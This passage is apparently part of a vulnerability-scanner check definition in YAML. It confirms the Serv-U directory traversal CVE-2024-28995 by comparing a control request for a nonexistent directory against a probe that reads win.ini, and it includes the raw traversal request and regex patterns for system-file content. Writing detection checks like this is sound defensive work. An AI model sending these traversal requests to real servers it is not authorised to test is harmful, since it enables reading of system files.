    send: "GET /?InternalDir=/../../../../noctis-absent-{{oob_token}}/windows&InternalFile=win.ini HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: win_ctrl

  # Fail closed: the control must have answered over HTTP, without file content.
  - id: win-control-verdict
    action: script
    condition: 'win_hit != ""'
    code: |
      let b = win_ctrl.banner;
      type_of(b) == "string" && ereg("^HTTP/1\\.[01] [0-9]{3}", b) && !ereg("root:[^:\\r\\n]*:0:[01]:|\\[(font|extension|file)s\\]", b)
    store_as: win_clean

  - id: win-report
    action: match
    source: win_hit
    pattern: "^yes$"
    condition: "win_clean == true"
    on_match:
      finding:
        confidence_delta: 0.45
        qod: 75
        evidence: "Serv-U directory traversal confirmed — win.ini content in response (CVE-2024-28995); the same request for an absent directory did not return it"
      stop: true

View these feeds on GitHub